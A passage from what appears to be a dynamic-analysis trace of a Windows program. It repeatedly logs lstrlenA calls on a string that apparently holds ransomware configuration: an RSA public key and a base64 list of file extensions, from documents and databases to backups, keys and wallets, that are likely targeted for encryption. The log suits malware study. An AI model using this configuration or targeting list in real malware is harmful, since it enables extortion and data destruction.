LCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliY